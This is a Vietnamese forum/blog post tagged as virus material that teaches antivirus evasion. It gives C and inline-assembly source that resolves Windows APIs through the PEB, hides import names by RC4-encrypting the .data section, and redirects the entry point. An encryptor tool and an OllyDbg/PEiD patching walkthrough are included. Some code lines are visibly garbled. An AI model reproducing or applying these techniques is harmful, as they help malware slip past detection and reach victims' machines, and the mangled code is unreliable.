Trao đổi với tôi

http://www.buidao.com

4/26/10

[Virus] Mẹo nhỏ qua mặt antivirus.

Author: quangthiennguyen

tham khảo từ http://www.x-n2o.com/clever-tricks-against-antiviruses/
GetIP source:
Code:

#include
#include
#include

#pragma comment(lib,"ws2_32.lib")
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR);
pLoadLibraryA MyLoadLibraryA=NULL;

typedef int (WINAPI *pMessageBoxA)(HWND , LPCSTR , LPCSTR , UINT);
pMessageBoxA MyMessageBoxA=NULL;

typedef int (WSAAPI *pWSAStartup)(WORD,LPWSADATA);
pWSAStartup MyWSAStartup=NULL;

typedef int (WSAAPI *pWSACleanup)();
pWSACleanup MyWSACleanup=NULL;

typedef char FAR * (WSAAPI *pinet_ntoa)( struct in_addr);
pinet_ntoa Myinet_ntoa=NULL;

typedef int (WSAAPI *pgethostname)( char FAR * , int );
pgethostname Mygethostname=NULL;

typedef hostent FAR * (WSAAPI *pgethostbyname)( const char FAR *);
pgethostbyname Mygethostbyname=NULL;
/************************************************************************/
/* Load Import Fuction */
/************************************************************************/
///////////////////////////Get Base Kernel Address////////////////////////////
void __declspec(naked) *kernel_addr()
{
// Get kernel32 base address through PEB (initialization order)
__asm
{
mov eax, fs:[0x30] // PEB address
mov eax, [eax+0x0c] // PEB->Ldr
mov eax, [eax+0x1c] // Ldr.InInitializationOrderModuleList (ntdll)
mov eax, [eax] // [ntdll].Flink (kernel32)
mov eax, [eax+0x08] // kernel32 base address
ret
}
}

//////////////////////Get Address Function Export By Name//////////////////////////
void *my_gpa(HMODULE modl, char *fname)
{
unsigned long modb = (unsigned long)modl;
IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
unsigned int i;

for(i = 0; i <>NumberOfNames; i++)
{
const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(unsigned long)))+modb;

if(!strcmp(fname, nn))
{
unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(unsigned long))+modb);
}
}

return NULL;
}


char *fn_kern[]={
"LoadLibraryA"//0
};
char *fn_user[]={
"MessageBoxA"//0
};
char *fn_wsock2[]={
"WSAStartup", //0
"WSACleanup", //1
"inet_ntoa", //2
"gethostbyname",//3
"gethostname", //4
};
//////////////////////////////////////////////////////////////////////////
int load_imports()
{
HMODULE kern, user, wsock;

kern = (HMODULE)kernel_addr();
MyLoadLibraryA = (pLoadLibraryA)my_gpa(kern, fn_kern[0]);//"LoadLibraryA"
if(!MyLoadLibraryA)return 1;

user = MyLoadLibraryA("user32.dll");
MyMessageBoxA=(pMessageBoxA)my_gpa(user,fn_user[0]);//"MessageBoxA"
if(!MyMessageBoxA)return 1;

wsock = MyLoadLibraryA("ws2_32.dll");
MyWSAStartup=(pWSAStartup)my_gpa(wsock,fn_wsock2[0]);//"WSAStartup"
MyWSACleanup=(pWSACleanup)my_gpa(wsock,fn_wsock2[1]);//"WSACleanup"
Myinet_ntoa=(pinet_ntoa)my_gpa(wsock,fn_wsock2[2]);//"inet_ntoa"
Mygethostbyname=(pgethostbyname)my_gpa(wsock,fn_wsock2[3]);//"gethostbyname"
Mygethostname=(pgethostname)my_gpa(wsock,fn_wsock2[4]);//"gethostname"
if(!MyWSACleanup||!MyWSAStartup||!Myinet_ntoa||!Mygethostname||!Mygethostbyname)return 1;
return 0;
}

/************************************************************************/
/* Decrypt data section .data */
/************************************************************************/
void rc4_ksched(unsigned char *key, unsigned long keylen, unsigned char sbox[0x100]) {
unsigned long i, j;

for(i = 0; i < j =" i" j =" (j" tmp =" sbox[i];" i =" j" i =" (i" j =" (j" tmp =" sbox[i];" dosh =" (IMAGE_DOS_HEADER" sech =" (IMAGE_SECTION_HEADER">e_lfanew+sizeof(IMAGE_NT_HEADERS));
IMAGE_SECTION_HEADER dummy;

data[0] = '.';
data[1] = 'd';
data[2] = 'a';
data[3] = 't';
data[4] = 'a';
data[5] = 0;
memset(&dummy, 0, sizeof(dummy));
while(memcmp(sech, &dummy, sizeof(dummy))) {
if(!strcmp((char*)sech->Name, data)) {
unsigned char sbox[0x100], key[9];

key[0] = 'D';
key[1] = 'q';
key[2] = 'H';
key[3] = 'A';
key[4] = 'I';
key[5] = '5';
key[6] = 'V';
key[7] = 'N';
key[8] = 0;
rc4_ksched(key, 8, sbox);
rc4(sbox, (unsigned char *)mod+sech->VirtualAddress, (unsigned char *)mod+sech->VirtualAddress, sech->SizeOfRawData);
return;
}
sech++;
}

exit(EXIT_FAILURE);
}

void __declspec(naked) *gba() {
__asm {
mov eax, fs:[0x30] // PEB address
mov eax, [eax+0x08] // PEB->BaseAddress
ret
}
}

void __declspec(naked) new_ep()
{
// if(*(unsigned long *)magic != 'x86!')
decrypt_data((unsigned long)gba());
__asm {
push 0x41414141 // placeholder
ret
}
}

unsigned long nep_addr;
/************************************************************************/
/* Entry point(EP) Virus */
/************************************************************************/
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
WSADATA wsd;
char szbuff[100]={0};
nep_addr = (unsigned long)&new_ep;
sprintf(szbuff,"NewEP:0x%X",nep_addr);
if (load_imports())
return 1;
MyMessageBoxA(0,szbuff,"New EP",0);
int iResult = MyWSAStartup(0x0202,&wsd);
if (iResult!=0)
return 1;
Mygethostname(szbuff,sizeof(szbuff));
hostent *MyPC=Mygethostbyname(szbuff);
u_long IP=*(u_long*)MyPC->h_addr_list[0];
sprintf(szbuff,"IP addres:%s",Myinet_ntoa(*(in_addr*) &IP));
MyMessageBoxA(0,szbuff,"IP Address:",0);

MyWSACleanup();
return EXIT_SUCCESS;

}

Tui xin nói sơ qua các bước thực hiện:
+Lấy base của module kernel (kernel32.dll thường được load khi process bắt đầu)
+Tạo một hàm lấy address trong một module dựa vào name trong export table giống như hàm API GetProcAddress.
+ Dùng hàm lấy address vừa tạo và lấy address của hàm LoadLibraryA(hàm này dùng để load dll chứa hàm mà ta cần dùng)
+Tạo khai báo các hàm cần dùng
+Cuối cùng là giãi mã (decrypt) .data section . Sẽ được đươc mã hoá(encypt) sau

1.Lấy base kernel 32:

Cách làm này dựa vào cấu trúc TEB PEB tham khảo thêm tại đây:
http://rootbiez.spaces.live.com/Blog/cns!AC1F6A5FA666A923!354.entry
http://undocumented.ntinternals.net/
mov eax, fs:[0x30] // PEB addresstừ TEP
trỏ đến phần tử (PPEB Peb) address của PEBeax=address PEB(lưu tại eax)
mov eax, [eax+0x0c] // PEB->Ldr
[addrress PEB+offset Ldr]Lấy address trỏ đến _PEB_LDR_DATA(lưu tại eax)
mov eax, [eax+0x1c] //Ldr.InInitializationOrderModuleList (ntdll)Lấy address trỏ đến _LDR_MODULE ntdll(lưu tại eax) mov eax, [eax] // [ntdll].Flink (kernel32)Lấy address trỏ đến _LDR_MODULE tiếp theo kernel (lưu tại eax)
mov eax, [eax+0x08] // kernel32 base address Lấy base của kernel

2.Tạo hàm lấy address của hàm trong một module(dll) :
Cách thực hiện dựa vào cấu trúc PE tham khảo tại đây
http://reaonline.net/content.php?182-[PE-Tutorials]
http://msdn.microsoft.com/en-us/magazine/cc301808.aspx

IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
Modb base Address của module(dll) trong process như vậy address của cấu trúc dosheader cũng chính là địa chỉ gốc của module dll trong process
IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew); Giá trị của dosh->e_lfanew là offset trỏ đến cấu trúc NtheaderĐịa chỉ của Ntheader =base address module(dll)+offset đến NTheader IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);nth->OptionalHeader.DataDirectory->VirtualAddress(RVA đến bảng Export) for(i = 0; i <>NumberOfNames; i++) { const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(void *)))+modb; if(!strcmp(fname, nn)) { unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short)); return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(void *))+modb); } }
Duyệt bảng export tìm các hàm export by name so sánh tên của hàm và tên của hàm cần tìm nếu đúng trả về address của hàm. 3.Lấy address của hàm LoadLibarary và cách lấy address các hàm khácPrototype của hàm LoadLibarary như sau:HMODULE WINAPI LoadLibrary( __in LPCTSTR lpFileName);
Requirements
Minimum supported client
Windows 2000 Professional
Minimum supported server
Windows 2000 Server
Header
Winbase.h (include Windows.h)
Library
Kernel32.lib
DLL
Kernel32.dll
Unicode and ANSI names
LoadLibraryW (Unicode) and LoadLibraryA (ANSI)

Như các bạn đã thấy LoadLibrary lưu trong dll kernel32 và thực tế nó là 2 hàm LoadLibraryA dùng cho Ansi và LoadLibraryW dùng cho unicode(ví dụ chuỗi tiếng việt,.v.v)
http://msdn.microsoft.com/en-us/libr...8VS.85%29.aspx
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR);
pLoadLibraryA MyLoadLibraryA=NULL;
tạo một con trỏ hàm LoadLibarary

kern = (HMODULE)kernel_addr();
Lấy base address của kernel

MyLoadLibraryA = (pLoadLibraryA)my_gpa(kern, fn_kern[0]);//"LoadLibraryA"
Lấy địa chỉ hàm LoadLibraryA

Tiếp tục lấy address của hàm MessageBoxA
MessageBox gồm 2 hàm MessageBoxA , MessageBoxB nằm trong User32.dll

typedef int (WINAPI *pMessageBoxA)(HWND , LPCSTR , LPCSTR , UINT);
pMessageBoxA MyMessageBoxA=NULL
tạo con trỏ hàm MessageboxA (LPCSTR Ansi)

load user32.dll lên process
HMODULE user = MyLoadLibraryA("user32.dll");
user lúc này sẽ chứa base address của User32.dll trong process.

MyMessageBoxA=(pMessageBoxA)my_gpa(user,fn_user[0]);//"MessageBoxA"
Lấy address của hàm trong user32.dll

4.Mã hoá(encrypt)và Giải mã(decrypt)
Ờ đây tác giả dùng RC4 để encrypt và chỉ encypt .data .
.data section là nơi lưu các biến toàn cục.Chính vì lý do này mà trong source tui khai báo name của các hàm rồi sau đó sẽ encypt nó.

char *fn_kern[]={
"LoadLibraryA"//0
};
char *fn_user[]={
"MessageBoxA"//0
};
char *fn_wsock2[]={
"WSAStartup", //0
"WSACleanup", //1
"inet_ntoa", //2
"gethostbyname",//3
"gethostname", //4
};

Hoặc khai báo string là value của registry để tạo reg mới tránh việc anti scan string.

Trong code đã đặt doạn code decypt .data section hàm new_ep() và đây cũng chính là Entry Point(EP) mới.Như các bạn thấy thì EP của chúng ta ờ đây là WinMain (nói cho dễ hiểu) nhưng trước khi thực hiện đoạn code của ứng dụng ta phải decypt .data đã được encrypt(sẽ nói ở phần sau) tức ta sẽ thay đổi EP trong file để nó thực hiện đoạn code decrypt_data và sau đó sẽ trỏ lại WinMain.

// if(*(unsigned long *)magic != 'x86!')
Tui không biết ở đây tác giả làm gì ?? nhưng theo suy đoán có thể là kiểm tra kí hiệu nhận dang (được patch khi encypt) để xem file đã encrypt chưa
decrypt_data((unsigned long)gba());

__asm {
push 0x41414141 // placeholder
ret
}Đoạn code asm này dùng để đưa ta trở lại WinMian .Lưu ý 0x41414141 sẽ được thay thế bằng address WinMain.Giải thích thêm khi ta gọi hàm call thì address trỏ đến dòng lệnh tiếp theo sau lệnh call sẽ được đưa vào stack và lệnh ret sẽ làm ngược lại lấy address sẽ quay lại từ stack ra và ta sẽ lơi dụng nó để quay lai WinMain

EnCypt Code:
Code:

#include
#include
#include
#include

#define DATA ".data" // data section's name
#define KEY "DqHAI5VN" // encryption key
#define NEW 0x1454 // new ep rva
#define REP 0x1463 // offset to patch with the old ep

void rc4_ksched(unsigned char *key, unsigned long keylen, unsigned char sbox[0x100]) {
unsigned long i, j;

for(i = 0; i <>0xff into sbox[0x100]

for(j = i = 0; i < j =" (j" tmp =" sbox[i];" i =" j" i =" (i" j =" (j" tmp =" sbox[i];" f =" fopen(" rd =" (unsigned" epaddr =" ((unsigned" ep =" NEW;" ep =" nth.OptionalHeader.AddressOfEntryPoint+nth.OptionalHeader.ImageBase;">

#define NEW 0x1454
RVA của new_ep bạn cũng có thể xem trong messagebox thi chay GetIP.Lấy address này trừ đi image base(thường bằng 0x400000)


#define REP 0x1463 // offset to patch with the old ep
Offset này sẽ patch địa chỉ trở về WinMain.
Bây giờ làm sao để lấy address này
Nhớ lại đoạn code asm ở GetIP
push 0x41414141 lưu ý 0x41414141

Giờ tui sẽ hướng dẫn bạn tìm bằng cách sử dụng bằng tool Olly và PEID:
Giờ load GetIP lên olly
Sau đó Ctrl+G nhảy đến address 401000 .text section có thể xem trong PEID
Sau đó Ctrl+B seach hex 41414141 ta sẽ đến đây
00401462 . 68 41414141 PUSH 41414141

Ta thấy ở trên thì 68(push) Địa chỉ address cần patch ở đây 4141414
68(push) 1byte nên address của chuỗi address cần patch 0x00401462+1=0x00401463

RVA sẽ bằng 0x1463(0x00401463-0x400000)
Giờ đùng PEID dò section .text :
Tui có như sau:
RVA offset=1000
Raw offset=1000

Giờ patch offset sẽ bằng như sau
REP =0x1463- RVA offset+ Raw offset

Hoặc
Delta= RVA offset- Raw offset
REP=0x1463- Delta

Dowload: http://www.mediafire.com/?zr2monwmqdm

reflink: http://virusvn.com/forum/printthread.php?t=2377